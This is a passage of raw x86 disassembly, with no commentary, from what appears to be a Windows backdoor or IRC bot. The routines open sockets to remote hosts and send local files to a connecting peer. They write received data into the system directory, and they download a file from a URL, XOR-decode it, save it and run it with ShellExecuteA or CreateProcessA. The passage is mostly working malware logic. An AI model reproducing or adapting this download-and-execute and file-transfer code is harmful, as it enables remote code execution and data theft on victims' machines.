eax, eax jmp short loc_40B3CF ; --------------------------------------------------------------------------- loc_40B38C: ; CODE XREF: sub_40B363+4Fj inc ebx push ebx push esi call sub_41737F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40B388 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_416A57 add esp, 10h loc_40B3AE: ; CODE XREF: sub_40B363+23j test byte ptr [edi+0Ch], 10h jz short loc_40B38C dec ebx push ebx push esi call sub_40B32A push esi mov ebx, eax call sub_415C9B push edi call sub_415960 add esp, 10h mov eax, ebx loc_40B3CF: ; CODE XREF: sub_40B363+27j pop edi pop esi pop ebx retn sub_40B363 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3D3 proc near ; CODE XREF: sub_40B459+33p ; sub_40B9BC+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43C5D4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40B44F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415390 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43C554 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_43C594 ; inet_addr cmp eax, esi jnz short loc_40B434 push [ebp+arg_0] call dword_43C5D8 ; gethostbyname test eax, eax jz short loc_40B44F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40B434: ; CODE XREF: sub_40B3D3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43C4FC ; connect cmp eax, esi jnz short loc_40B453 push edi call dword_43C5EC ; closesocket loc_40B44F: ; CODE XREF: sub_40B3D3+1Bj ; sub_40B3D3+58j mov eax, esi jmp short loc_40B455 ; --------------------------------------------------------------------------- loc_40B453: ; CODE XREF: sub_40B3D3+73j mov eax, edi loc_40B455: ; CODE XREF: sub_40B3D3+7Ej pop edi pop esi leave retn sub_40B3D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B459 proc near ; DATA XREF: sub_40CD3A+A26o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_415B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push [ebp+var_14] xor esi, esi inc esi mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40B3D3 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40B4EC lea eax, [ebp+var_11B4] push offset dword_42BBA4 push eax call sub_415316 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40B4CF push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412BD1 add esp, 14h loc_40B4CF: ; CODE XREF: sub_40B459+59j lea eax, [ebp+var_11B4] push eax call sub_40B078 push [ebp+var_10] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_40B4EC: ; CODE XREF: sub_40B459+3Fj push offset byte_43B188 push ebx call sub_40A71A pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40B557 lea eax, [ebp+var_11B4] push offset dword_42BB60 push eax call sub_415316 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40B533 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412BD1 add esp, 14h loc_40B533: ; CODE XREF: sub_40B459+BDj lea eax, [ebp+var_11B4] push eax call sub_40B078 pop ecx push ebx call dword_43C5EC ; closesocket push [ebp+var_10] call sub_4150F0 pop ecx push esi call dword_421048 ; ExitThread loc_40B557: ; CODE XREF: sub_40B459+A3j push 64h call dword_421060 ; Sleep xor edi, edi mov esi, 1000h loc_40B566: ; CODE XREF: sub_40B459+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43C56C ; recv test eax, eax jle short loc_40B5C3 lea eax, [ebp+var_11B4] push offset asc_426CF0 ; "\n" push eax call sub_415A30 lea eax, [ebp+var_11B4] push eax call sub_40A506 add esp, 0Ch test eax, eax jz short loc_40B5C3 push 64h call dword_421060 ; Sleep push 7 call sub_41501C test eax, eax pop ecx jnz short loc_40B566 loc_40B5C3: ; CODE XREF: sub_40B459+130j ; sub_40B459+154j lea eax, [ebp+var_11B4] push offset dword_42BB18 push eax call sub_415316 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40B5F6 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412BD1 add esp, 14h loc_40B5F6: ; CODE XREF: sub_40B459+180j lea eax, [ebp+var_11B4] push eax call sub_40B078 pop ecx push ebx call dword_43C5EC ; closesocket push [ebp+var_10] call sub_4150F0 pop ecx push edi call dword_421048 ; ExitThread sub_40B459 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B61A proc near ; DATA XREF: sub_40CD3A+46A9o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd xor ebx, ebx xor esi, esi inc ebx push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43C5D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40B668 push offset dword_42BD44 jmp loc_40B821 ; --------------------------------------------------------------------------- loc_40B668: ; CODE XREF: sub_40B61A+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_415390 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43C554 ; ntohs mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43C580 ; bind test eax, eax jz short loc_40B6A6 push offset dword_42BD0C jmp loc_40B821 ; --------------------------------------------------------------------------- loc_40B6A6: ; CODE XREF: sub_40B61A+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43C4F8 ; getsockname push [ebp+var_2E] call dword_43C490 ; ntohs mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_415B10 pop ecx loc_40B6D8: ; CODE XREF: sub_40B61A+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40B6EB push 5Fh pop eax jmp short loc_40B6EE ; --------------------------------------------------------------------------- loc_40B6EB: ; CODE XREF: sub_40B61A+CAj movsx eax, al loc_40B6EE: ; CODE XREF: sub_40B61A+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_415B10 cmp [ebp+arg_0], eax pop ecx jbe short loc_40B6D8 push ebx push edi call dword_43C57C ; listen test eax, eax jz short loc_40B721 push offset dword_42BBA4 jmp loc_40B821 ; --------------------------------------------------------------------------- loc_40B721: ; CODE XREF: sub_40B61A+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40B74B push offset dword_42BCD8 jmp loc_40B821 ; --------------------------------------------------------------------------- loc_40B74B: ; CODE XREF: sub_40B61A+125j push esi push eax call dword_421090 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40A08A pop ecx push eax call dword_43C594 ; inet_addr push eax call dword_43C550 ; ntohl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42BCC0 push eax call sub_415316 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_412BD1 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43C53C ; select test eax, eax jg short loc_40B7FB push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42BC94 push eax push [ebp+var_1FC] call sub_412BD1 jmp loc_40B91F ; --------------------------------------------------------------------------- loc_40B7FB: ; CODE XREF: sub_40B61A+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43C5E8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40B834 push offset dword_42BC5C loc_40B821: ; CODE XREF: sub_40B61A+49j ; sub_40B61A+87j ... lea eax, [ebp+var_3FC] push eax call sub_415316 pop ecx pop ecx jmp loc_40B922 ; --------------------------------------------------------------------------- loc_40B834: ; CODE XREF: sub_40B61A+200j push edi call dword_43C5EC ; closesocket cmp [ebp+arg_0], esi jz loc_40B8E6 mov edi, 400h loc_40B849: ; CODE XREF: sub_40B61A+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40B856 mov [ebp+var_4], eax loc_40B856: ; CODE XREF: sub_40B61A+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_415390 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_4210AC ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_421068 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43C5A4 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43C56C ; recv cmp eax, ebx jl loc_40B97B mov eax, [ebp+var_4] cmp eax, ebx jl loc_40B97B sub [ebp+arg_0], eax jnz loc_40B849 mov edi, [ebp+var_18] loc_40B8E6: ; CODE XREF: sub_40B61A+224j push [ebp+var_8] call dword_42106C ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_40C10D pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_3FC] push offset dword_42BC08 push eax call sub_415316 loc_40B91F: ; CODE XREF: sub_40B61A+1DCj add esp, 14h loc_40B922: ; CODE XREF: sub_40B61A+215j cmp [ebp+var_50], esi jnz short loc_40B947 push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_412BD1 add esp, 14h loc_40B947: ; CODE XREF: sub_40B61A+30Bj lea eax, [ebp+var_3FC] push eax call sub_40B078 cmp edi, esi pop ecx jbe short loc_40B95F push edi call dword_43C5EC ; closesocket loc_40B95F: ; CODE XREF: sub_40B61A+33Cj push [ebp+var_1F8] call dword_43C5EC ; closesocket push [ebp+var_58] call sub_4150F0 pop ecx push esi call dword_421048 ; ExitThread loc_40B97B: ; CODE XREF: sub_40B61A+2AFj ; sub_40B61A+2BAj push esi mov esi, offset dword_42BBDC push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_412BD1 push esi call sub_40B078 add esp, 18h push [ebp+var_1F8] call dword_43C5EC ; closesocket push [ebp+var_58] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread sub_40B61A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9BC proc near ; DATA XREF: sub_40CD3A+77Co var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_415B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd xor esi, esi xor ebx, ebx inc esi push 104h mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push eax mov [ebp+var_8], ebx call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_415316 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_40BA46 push offset dword_42BE50 jmp short loc_40BA8C ; --------------------------------------------------------------------------- loc_40BA46: ; CODE XREF: sub_40B9BC+81j push eax call dword_42106C ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_415A08 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40BA6E push offset dword_42BE0C jmp short loc_40BA8C ; --------------------------------------------------------------------------- loc_40BA6E: ; CODE XREF: sub_40B9BC+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40B3D3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40BA9F push offset dword_42BDD8 loc_40BA8C: ; CODE XREF: sub_40B9BC+88j ; sub_40B9BC+B0j lea eax, [ebp+var_4C4] push eax call sub_415316 pop ecx pop ecx jmp loc_40BB99 ; --------------------------------------------------------------------------- loc_40BA9F: ; CODE XREF: sub_40B9BC+C9j mov esi, 1000h loc_40BAA4: ; CODE XREF: sub_40B9BC+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43C56C ; recv mov edi, eax cmp edi, ebx jz loc_40BB6B cmp edi, 0FFFFFFFFh jz short loc_40BB0C push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41761F add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43C550 ; ntohl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43C5A4 ; send jmp short loc_40BAA4 ; --------------------------------------------------------------------------- loc_40BB0C: ; CODE XREF: sub_40B9BC+118j lea eax, [ebp+var_4C4] push offset dword_42BBDC push eax call sub_415316 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_412BD1 lea eax, [ebp+var_4C4] push eax call sub_40B078 push [ebp+var_4] call sub_415960 add esp, 24h push [ebp+arg_0] call dword_43C5EC ; closesocket push [ebp+var_1C] call sub_4150F0 pop ecx push 1 call dword_421048 ; ExitThread loc_40BB6B: ; CODE XREF: sub_40B9BC+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40C10D push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42BD80 push eax call sub_415316 add esp, 1Ch loc_40BB99: ; CODE XREF: sub_40B9BC+DEj cmp [ebp+var_14], ebx jnz short loc_40BBBE push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_412BD1 add esp, 14h loc_40BBBE: ; CODE XREF: sub_40B9BC+1E0j lea eax, [ebp+var_4C4] push eax call sub_40B078 cmp [ebp+var_4], ebx pop ecx jz short loc_40BBD9 push [ebp+var_4] call sub_415960 pop ecx loc_40BBD9: ; CODE XREF: sub_40B9BC+212j cmp [ebp+arg_0], ebx jbe short loc_40BBE7 push [ebp+arg_0] call dword_43C5EC ; closesocket loc_40BBE7: ; CODE XREF: sub_40B9BC+220j push [ebp+var_1C] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread sub_40B9BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BBF7 proc near ; DATA XREF: sub_40CD3A+3646o ; sub_40CD3A+3DA2o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43C504 call dword_43C464 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_40C070 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_421078 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_40BCBE lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42C11C push eax call sub_415316 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40BCA1 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412BD1 add esp, 14h loc_40BCA1: ; CODE XREF: sub_40BBF7+88j lea eax, [ebp+var_510] push eax call sub_40B078 push [ebp+var_48] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_40BCBE: ; CODE XREF: sub_40BBF7+68j xor edi, edi call dword_42104C ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_415BE9 pop ecx mov [ebp+var_1C], eax loc_40BCD8: ; CODE XREF: sub_40BBF7+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43C46C ; InternetReadFile cmp [ebp+var_34], esi jz short loc_40BD1C push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40C0D6 pop ecx pop ecx loc_40BD1C: ; CODE XREF: sub_40BBF7+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_421070 ; WriteFile cmp edi, ebx jnb short loc_40BD5A mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40BD44 mov eax, [ebp+arg_0] loc_40BD44: ; CODE XREF: sub_40BBF7+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_4153F0 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BBF7+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40BD67 cmp edi, [ebp+var_3C] ja short loc_40BDA6 loc_40BD67: ; CODE XREF: sub_40BBF7+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_4414C8 cmp [ebp+var_44], 1 jz short loc_40BD8F push offset unk_42C0D0 jmp short loc_40BD94 ; --------------------------------------------------------------------------- loc_40BD8F: ; CODE XREF: sub_40BBF7+18Fj push offset unk_42C088 loc_40BD94: ; CODE XREF: sub_40BBF7+196j push eax call sub_415316 add esp, 10h cmp [ebp+arg_0], esi ja loc_40BCD8 loc_40BDA6: ; CODE XREF: sub_40BBF7+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40BDFB cmp edi, [ebp+var_3C] jz short loc_40BDFB push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42C040 push eax call sub_415316 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412BD1 lea eax, [ebp+var_510] push eax call sub_40B078 add esp, 28h loc_40BDFB: ; CODE XREF: sub_40BBF7+1B9j ; sub_40BBF7+1BEj call dword_42104C ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_42106C ; CloseHandle push [ebp+var_1C] call sub_415C9B cmp [ebp+var_38], esi pop ecx jz short loc_40BE85 lea eax, [ebp+var_148] push eax call sub_40B363 cmp eax, [ebp+var_38] pop ecx jz short loc_40BE85 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42C004 push eax call sub_415316 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412BD1 lea eax, [ebp+var_510] push eax call sub_40B078 add esp, 28h loc_40BE85: ; CODE XREF: sub_40BBF7+236j ; sub_40BBF7+248j cmp [ebp+var_14], esi jz loc_40C0BD cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_40BF80 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_421660 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_421660 fstp [esp+590h+var_590] push offset unk_42BFB8 push eax call sub_415316 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40BF00 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412BD1 add esp, 14h loc_40BF00: ; CODE XREF: sub_40BBF7+2E7j lea eax, [ebp+var_510] push eax call sub_40B078 cmp [ebp+var_40], 1 pop ecx jnz loc_40C0BD push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43C4C8 ; ShellExecuteA cmp [ebp+var_30], esi jnz loc_40C0BD lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42BF7C push eax call sub_415316 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412BD1 lea eax, [ebp+var_510] push eax call sub_40B078 add esp, 24h jmp loc_40C0BD ; --------------------------------------------------------------------------- loc_40BF80: ; CODE XREF: sub_40BBF7+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_421660 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_421660 fstp [esp+590h+var_590] push offset unk_42BF28 push eax call sub_415316 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40BFE0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412BD1 add esp, 14h loc_40BFE0: ; CODE XREF: sub_40BBF7+3C7j lea eax, [ebp+var_510] push eax call sub_40B078 push 10h lea eax, [ebp+var_10] push esi push eax call sub_415390 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_415390 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset byte_43B188 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call dword_4210EC ; CreateProcessA cmp eax, edi jnz short loc_40C062 call dword_43C4B4 ; WSACleanup call sub_409D34 push esi call dword_421114 ; ExitProcess loc_40C062: ; CODE XREF: sub_40BBF7+457j lea eax, [ebp+var_148] push eax push offset unk_42BED8 jmp short loc_40C07C ; --------------------------------------------------------------------------- loc_40C070: ; CODE XREF: sub_40BBF7+45j lea eax, [ebp+var_248] push eax push offset unk_42BE94 loc_40C07C: ; CODE XREF: sub_40BBF7+477j lea eax, [ebp+var_510] push eax call sub_415316 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40C0B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412BD1 add esp, 14h loc_40C0B0: ; CODE XREF: sub_40BBF7+497j lea eax, [ebp+var_510] push eax call sub_40B078 pop ecx loc_40C0BD: ; CODE XREF: sub_40BBF7+291j ; sub_40BBF7+31Aj ... push [ebp+var_18] call dword_43C588 ; InternetCloseHandle push [ebp+var_48] call sub_4150F0 pop ecx push esi call dword_421048 ; ExitThread sub_40BBF7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C0D6 proc near ; CODE XREF: sub_40BBF7+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40C0F2 loc_40C0E2: ; CODE XREF: sub_40C0D6+1Aj mov dl, byte_42C260 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40C0E2 locret_40C0F2: ; CODE XREF: sub_40C0D6+Aj retn sub_40C0D6 endp ; =============== S U B R O U T I N E ======================================= sub_40C0F3 proc near ; CODE XREF: sub_40CD3A+2878p ; sub_40CD3A+29E5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_417729 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40C0F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C10D proc near ; CODE XREF: sub_4062F7+462p ; sub_4062F7+5FEp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_440910 push 0 push edi call sub_415390 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40C132: ; CODE XREF: sub_40C10D+5Bj ; sub_40C10D+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_417100 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_417180 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40C170 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40C132 mov byte ptr [esi], 2Ch inc esi jmp short loc_40C132 ; --------------------------------------------------------------------------- loc_40C170: ; CODE XREF: sub_40C10D+4Bj mov eax, edi jmp short loc_40C179 ; --------------------------------------------------------------------------- loc_40C174: ; CODE XREF: sub_40C10D+72j mov cl, [esi] mov [eax], cl inc eax loc_40C179: ; CODE XREF: sub_40C10D+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_40C174 and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40C10D endp ; =============== S U B R O U T I N E ======================================= sub_40C18B proc near ; CODE XREF: sub_40C337+51p ; sub_40C337+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43C5B4 ; GetDriveTypeA sub eax, 0 jz short loc_40C1CE dec eax jz short loc_40C1C8 dec eax dec eax jz short loc_40C1C2 dec eax jz short loc_40C1BC dec eax jz short loc_40C1B6 dec eax jz short loc_40C1B0 mov eax, offset word_42B864 retn ; --------------------------------------------------------------------------- loc_40C1B0: ; CODE XREF: sub_40C18B+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_40C1B6: ; CODE XREF: sub_40C18B+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40C1BC: ; CODE XREF: 